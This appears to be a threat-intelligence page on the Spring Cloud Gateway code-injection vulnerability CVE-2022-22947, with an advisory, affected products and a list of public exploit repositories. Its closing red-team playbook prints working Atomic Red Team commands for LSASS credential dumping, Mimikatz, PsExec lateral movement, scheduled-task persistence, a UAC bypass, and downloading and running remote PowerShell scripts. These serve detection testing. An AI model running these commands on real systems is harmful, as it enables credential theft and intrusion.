CVE-2022-22947
Overview
This vulnerability is a code injection flaw rooted in improper input validation within the Spring Cloud Gateway's Actuator endpoint. Specifically, the gateway's route management API improperly processes user-supplied expressions, enabling injection of malicious code through crafted requests. The affected component is the Gateway Actuator endpoint, which exposes administrative functions for route configuration and refresh operations.
Vulnerability Description
In spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ , applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the host running the Spring Cloud Gateway. This enables full compromise of the affected system, including unauthorized data access, modification, or destruction, and potential lateral movement within the network. No authentication or user interaction is required, making exploitation straightforward if the Actuator endpoint is exposed and unsecured. The business consequence includes complete loss of confidentiality, integrity, and availability of the gateway and connected infrastructure.
Solution
Upgrade Spring Cloud Gateway to version 3.1.1 or later, or 3.0.7 or later as recommended by VMware. Oracle users should refer to the April 2022 Critical Patch Update advisory for related fixes. Detailed patch instructions and advisories are available at https://tanzu.vmware.com/security/cve-2022-22947 and https://www.oracle.com/security-alerts/cpuapr2022.html. Additionally, ensure that the Gateway Actuator endpoint is not exposed publicly or is properly secured to prevent unauthorized access.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in question arises from a code injection flaw present in specific versions of Spring Cloud Gateway when the Gateway Actuator endpoint is enabled, exposed, and unsecured. This flaw allows an attacker to craft malicious requests that can lead to arbitrary code execution on the host system. The underlying issue stems from inadequate input validation and sanitization mechanisms within the application, which allows untrusted input to be processed as executable code. As a result, when the actuator endpoints are exposed without proper security measures, they become a potential attack surface for malicious actors seeking to exploit this weakness.
Attack vectors for this vulnerability are particularly concerning due to the remote execution capabilities it offers. An attacker could leverage this flaw by sending specially crafted HTTP requests to the exposed actuator endpoints. This could be done through various means, such as phishing campaigns or automated scanning tools that identify unsecured endpoints. Once the attacker successfully exploits the vulnerability, they could execute arbitrary commands on the server, potentially leading to full system compromise. This scenario could enable the attacker to manipulate data, install malware, or pivot to other systems within the network, significantly increasing the attack surface.
The real-world impact of this vulnerability is profound, especially for organizations utilizing Spring Cloud Gateway in their architecture. The potential for arbitrary code execution poses a critical business risk, as it could lead to unauthorized access to sensitive data, disruption of services, and significant financial losses. Furthermore, the exploitation of this vulnerability could result in reputational damage, regulatory penalties, and loss of customer trust. Organizations that fail to address this vulnerability may find themselves in a precarious position, especially in industries where data integrity and security are paramount.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, it is essential to upgrade to the latest secure versions of Spring Cloud Gateway, as these versions have addressed the identified flaw. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate any exposed actuator endpoints. Employing network segmentation and strict firewall rules can help limit access to sensitive endpoints, while implementing robust logging and monitoring solutions can assist in detecting anomalous activities indicative of exploitation attempts. Furthermore, educating development teams on secure coding practices and the importance of input validation can help prevent similar vulnerabilities in future releases.
In conclusion, the code injection vulnerability in Spring Cloud Gateway represents a significant threat to organizations that rely on this technology. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention. By adopting proactive security measures, organizations can mitigate the risks associated with this vulnerability, safeguarding their systems and maintaining the trust of their stakeholders.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-22947, coinciding with the emergence of new proof-of-concept exploits circulating on public repositories. This increased activity underscores a growing attacker interest in leveraging the unauthenticated Gateway Actuator endpoint vulnerability for remote code execution. Although ransomware groups have not yet been definitively linked to campaigns exploiting this flaw, the association of known threat actors such as akira and UNC3886 with related intrusion activity signals potential for future ransomware deployment leveraging this vector. Our telemetry indicates the exploitation trend remains stable but elevated, reflecting sustained adversary focus rather than a transient spike. This development heightens the threat level from critical to a more urgent posture, as the availability of multiple high-profile exploits lowers the barrier for widespread compromise, increasing the risk to organizations that have not applied mitigations or updated affected Spring Cloud Gateway versions.
Update 2 — May 16, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-22947, with telemetry indicating a doubling in observed activity. This surge coincides with the continued proliferation of publicly available proof-of-concept exploits, which have gained increased visibility and community engagement. The combination of rising exploitation attempts and accessible attack tools significantly lowers the barrier for adversaries to execute remote code injection against vulnerable Spring Cloud Gateway instances. Although ransomware groups linked to this vulnerability have not demonstrated direct deployment in campaigns, the heightened exploitation trend elevates the risk of opportunistic ransomware or other post-exploitation activities. Consequently, the threat level associated with CVE-2022-22947 has shifted from stable to more urgent, underscoring the critical need for defenders to maintain vigilant monitoring and prioritize patching efforts to mitigate potential compromise.
Update 3 — June 23, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2022-22947, accompanied by the emergence of several new proof-of-concept exploit scripts circulating publicly. This uptick in activity is reflected in an increased EPSS score, signaling a growing likelihood of successful exploitation in the wild. Our telemetry indicates that adversaries are leveraging these newly available tools to lower the technical barriers for remote code injection attacks against vulnerable Spring Cloud Gateway instances. While ransomware groups previously linked to this vulnerability have not yet demonstrated active campaigns, the expanding exploit landscape and heightened detection trends elevate the risk of opportunistic ransomware deployment or other malicious post-exploitation actions. Consequently, the threat level associated with CVE-2022-22947 has intensified, underscoring an urgent need for continuous monitoring and rapid response to emerging exploitation attempts.
Update 4 — July 08, 2026
CSURFACE threat intelligence has identified a modest but meaningful uptick in exploitation attempts targeting CVE-2022-22947, accompanied by the emergence of additional publicly available proof-of-concept exploits that further lower the barrier for adversaries to execute remote code on vulnerable Spring Cloud Gateway instances. Although the overall exploit activity remains stable without evidence of rapid acceleration, the increased detection frequency signals sustained attacker interest and potential reconnaissance or preparatory actions. Notably, while ransomware groups previously linked to this vulnerability have yet to mount active campaigns, the expanding exploit toolkit and persistent probing elevate the risk of opportunistic ransomware deployment or other malicious post-exploitation activities. This evolving landscape underscores a heightened threat posture that demands vigilant monitoring, as the combination of accessible exploit code and ongoing targeting increases the likelihood of successful compromise in unpatched environments.
Affected Products (16)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vmware | Spring Cloud Gateway | All |
cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
|
|
|
Vmware | Spring Cloud Gateway | 3.1.0 |
cpe:2.3:a:vmware:spring_cloud_gateway:3.1.0:*:*:*:*:*:*:*
|
|
|
Oracle | Commerce Guided Search | 11.3.2 |
cpe:2.3:a:oracle:commerce_guided_search:11.3.2:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Binding Support Function | 1.11.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_binding_support_function:1.11.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Binding Support Function | 22.1.3 |
cpe:2.3:a:oracle:communications_cloud_native_core_binding_support_function:22.1.3:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Console | 22.2.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_console:22.2.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Exposure Function | 22.1.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_exposure_function:22.1.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Function Cloud Native Environment | 1.10.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_function_cloud_native_environment:1.10.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Repository Function | 1.15.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:1.15.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Repository Function | 1.15.1 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:1.15.1:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Repository Function | 22.1.2 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:22.1.2:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Repository Function | 22.2.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_repository_function:22.2.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Slice Selection Function | 1.8.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_slice_selection_function:1.8.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Network Slice Selection Function | 22.1.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_network_slice_selection_function:22.1.0:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Security Edge Protection Proxy | 22.1.1 |
cpe:2.3:a:oracle:communications_cloud_native_core_security_edge_protection_proxy:22.1.1:*:*:*:*:*:*:*
|
|
|
Oracle | Communications Cloud Native Core Service Communication Proxy | 1.15.0 |
cpe:2.3:a:oracle:communications_cloud_native_core_service_communication_proxy:1.15.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Spring Cloud Gateway Remote Code Execution
exploits/linux/http/spring_cloud_gateway_rce
|
Ayan Saha | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE) | Carlos E. Vieira | webapps | java | - | View |
GitHub PoCs (62)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
lucksec/Spring-Cloud-Gateway-CVE-2022-22947
CVE-2022-22947
|
lucksec | 223 | 57 | 2022-03-02 | View |
|
whwlsfb/cve-2022-22947-godzilla-memshell
CVE-2022-22947 注入Godzilla内存马
|
whwlsfb | 211 | 27 | 2022-04-26 | View |
|
SecNN/CVE-2022-22947_Rce_Exp
Spring Cloud Gateway 远程代码执行漏洞Exp Spring_Cloud_Gateway_RCE_Exp-CVE-2022-22947
|
SecNN | 77 | 21 | 2022-03-03 | View |
|
tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway
CVE-2022-22947批量
|
tangxiaofeng7 | 71 | 20 | 2022-03-04 | View |
|
0730Nophone/CVE-2022-22947-
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947) 注入哥斯拉内存马
|
0730Nophone | 61 | 9 | 2022-05-16 | View |
|
crowsec-edtech/CVE-2022-22947
Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)
|
crowsec-edtech | 38 | 14 | 2022-03-03 | View |
|
0x7eTeam/CVE-2022-22947
CVE-2022-22947_EXP,CVE-2022-22947_RCE,CVE-2022-22947反弹shell,CVE-2022-22947 getshell
|
0x7eTeam | 36 | 12 | 2022-03-08 | View |
|
Tas9er/SpringCloudGatewayRCE
SpringCloudGatewayRCE - CVE-2022-22947 / Code By:Tas9er
|
Tas9er | 28 | 3 | 2022-03-03 | View |
|
Zh0um1/CVE-2022-22947
CVE-2022-22947注入哥斯拉内存马
|
Zh0um1 | 28 | 1 | 2023-02-07 | View |
|
MoCh3n/CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE
Spring Cloud Gateway远程代码执行漏洞POC,基于命令执行的基础上,增加了反弹shell操作
|
MoCh3n | 14 | 10 | 2022-03-07 | View |
|
B0rn2d/Spring-Cloud-Gateway-Nacos
Nacos下Spring-Cloud-Gateway CVE-2022-22947利用环境
|
B0rn2d | 16 | 4 | 2022-06-25 | View |
|
viemsr/spring_cloud_gateway_memshell
CVE-2022-22947 memshell
|
viemsr | 18 | 1 | 2022-03-18 | View |
|
Enokiy/cve-2022-22947-spring-cloud-gateway
|
Enokiy | 18 | 1 | 2022-03-21 | View |
|
Wrin9/CVE-2022-22947
CVE-2022-22947_POC_EXP
|
Wrin9 | 11 | 7 | 2022-03-17 | View |
|
k3rwin/spring-cloud-gateway-rce
spring-cloud-gateway-rce CVE-2022-22947
|
k3rwin | 12 | 3 | 2022-03-13 | View |
|
nanaao/CVE-2022-22947-POC
CVE-2022-22947批量检测脚本,回显命令没进行正则,大佬们先用着,后续再更
|
nanaao | 0 | 15 | 2022-03-04 | View |
|
superneilcn/SpringExploitGUI
一款Spring综合漏洞的利用工具,工具目前支持Spring Cloud Gateway RCE(CVE-2022-22947)、Spring Framework RCE (CVE-2022-22965) 的检测以及利用
|
superneilcn | 0 | 15 | 2024-02-07 | View |
|
4nNns/CVE-2022-22947
Spring-Cloud-Spel-RCE
|
4nNns | 12 | 2 | 2022-04-06 | View |
|
dingxiao77/-cve-2022-22947-
cve-2022-22947 spring cloud gateway 批量扫描脚本
|
dingxiao77 | 9 | 3 | 2022-03-04 | View |
|
twseptian/cve-2022-22947
Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)
|
twseptian | 11 | 1 | 2022-04-15 | View |
|
Vulnmachines/spring-cve-2022-22947
Spring cloud gateway code injection : CVE-2022-22947
|
Vulnmachines | 9 | 1 | 2022-03-03 | View |
|
SiJiDo/CVE-2022-22947
|
SiJiDo | 9 | 1 | 2022-08-23 | View |
|
YutuSec/SpEL
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)批量检测工具
|
YutuSec | 6 | 4 | 2022-03-07 | View |
|
hunzi0/CVE-2022-22947-Rce_POC
批量url检测Spring-Cloud-Gateway-CVE-2022-22947
|
hunzi0 | 7 | 3 | 2022-03-04 | View |
|
Arrnitage/CVE-2022-22947_exp
CVE-2022-22947 Exploit script
|
Arrnitage | 5 | 4 | 2022-03-10 | View |
|
mrknow001/CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)
|
mrknow001 | 7 | 2 | 2022-03-07 | View |
|
anansec/CVE-2022-22947_EXP
一个可单独、批量验证的脚本,也可以反弹shell
|
anansec | 7 | 1 | 2022-05-19 | View |
|
Greetdawn/CVE-2022-22947
|
Greetdawn | 5 | 3 | 2022-03-04 | View |
|
darkb1rd/cve-2022-22947
|
darkb1rd | 6 | 0 | 2022-03-07 | View |
|
nu0l/cve-2022-22947
Spring-Cloud-Gateway-CVE-2022-22947
|
nu0l | 3 | 2 | 2022-03-04 | View |
|
kkx600/Burp_VulPscan
burp被动扫描插件,目前只有CVE-2022-22947
|
kkx600 | 2 | 3 | 2022-04-11 | View |
|
stayfoolish777/CVE-2022-22947-POC
批量检测Spring Cloud Gateway 远程代码执行漏洞 Spring_Cloud_Gateway_RCE_POC-CVE-2022-22947
|
stayfoolish777 | 3 | 2 | 2022-06-08 | View |
|
sagaryadav8742/springcloudRCE
Spring Cloud Gateway RCE - CVE-2022-22947
|
sagaryadav8742 | 4 | 1 | 2022-03-30 | View |
|
Le1a/CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行Exp
|
Le1a | 2 | 2 | 2023-05-26 | View |
|
22ke/CVE-2022-22947
|
22ke | 2 | 1 | 2022-03-05 | View |
|
Vancomycin-g/CVE-2022-22947
|
Vancomycin-g | 2 | 1 | 2022-03-29 | View |
|
Nathaniel1025/CVE-2022-22947
poc for CVE-2022-22947
|
Nathaniel1025 | 1 | 2 | 2022-03-25 | View |
|
LY613313/CVE-2022-22947
|
LY613313 | 3 | 0 | 2022-08-03 | View |
|
scopion/cve-2022-22947
poc for cve-2022-22947
|
scopion | 0 | 3 | 2022-03-03 | View |
|
dbgee/CVE-2022-22947
Spring Cloud Gateway Actuator API 远程命令执行 CVE-2022-22947
|
dbgee | 2 | 0 | 2022-03-04 | View |
|
Wrong-pixel/CVE-2022-22947-exp
|
Wrong-pixel | 1 | 1 | 2022-05-29 | View |
|
Jun-5heng/CVE-2022-22947
SpringCloudGatewayRCE / Code By:Jun_sheng
|
Jun-5heng | 1 | 0 | 2022-03-07 | View |
|
bysinks/CVE-2022-22947
|
bysinks | 1 | 0 | 2022-03-15 | View |
|
talentsec/Spring-Cloud-Gateway-CVE-2022-22947
Spring-Cloud-Gateway-CVE-2022-22947
|
talentsec | 1 | 0 | 2022-04-01 | View |
|
kmahyyg/CVE-2022-22947
|
kmahyyg | 1 | 0 | 2022-07-12 | View |
|
qq87234770/CVE-2022-22947
|
qq87234770 | 1 | 0 | 2022-11-15 | View |
|
BerMalBerIst/CVE-2022-22947
Exp
|
BerMalBerIst | 0 | 1 | 2022-03-04 | View |
|
Summer177/Spring-Cloud-Gateway-CVE-2022-22947
Spring Cloud Gateway远程代码执行漏洞
|
Summer177 | 0 | 1 | 2022-03-04 | View |
|
Y0ngC1oud/CVE-2022-22947
|
Y0ngC1oud | 0 | 0 | 2026-07-09 | View |
|
entr0pie/demo-cve-2022-22947
|
entr0pie | 0 | 0 | 2026-06-02 | View |
|
ciri3/spring-cloud-gateway-cve-2022-22947-report
Technical report about CVE-2022-22947 in Spring Cloud Gateway and its exploitation through exposed Actuator endpoints.
|
ciri3 | 0 | 0 | 2026-05-29 | View |
|
fbion/CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL Code Injection.
|
fbion | 0 | 0 | 2022-03-30 | View |
|
flying0er/CVE-2022-22947-goby
日常更新一些顺手写的gobypoc,包含高危害EXP
|
flying0er | 0 | 0 | 2022-03-04 | View |
|
hh-hunter/cve-2022-22947-docker
cve-2022-22947-docker
|
hh-hunter | 0 | 0 | 2022-03-11 | View |
|
Sumitpathania03/CVE-2022-22947
|
Sumitpathania03 | 0 | 0 | 2024-01-03 | View |
|
skysliently/CVE-2022-22947-pb-ai
一个由AI生成的漏洞验证应用
|
skysliently | 0 | 0 | 2025-08-08 | View |
|
cc3305/CVE-2022-22947
CVE-2022-22947 exploit script
|
cc3305 | 0 | 0 | 2024-06-19 | View |
|
shoucheng3/spring-cloud__spring-cloud-gateway_CVE-2022-22947_3-0-6
|
shoucheng3 | 0 | 0 | 2025-08-20 | View |
|
SanderSchepers1993/CyberSec2026
CVE-2022-22947 vulnerability task
|
SanderSchepers1993 | 0 | 0 | 2026-03-30 | View |
|
PaoPaoLong-lab/Spring-CVE-2022-22947-
|
PaoPaoLong-lab | 0 | 0 | 2022-03-10 | View |
|
scopion/CVE-2022-22947-exp
|
scopion | 0 | 0 | 2022-03-30 | View |
|
aesm1p/CVE-2022-22947-POC-Reproduce
CVE-2022-22947 reproduce
|
aesm1p | 0 | 0 | 2022-04-05 | View |
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
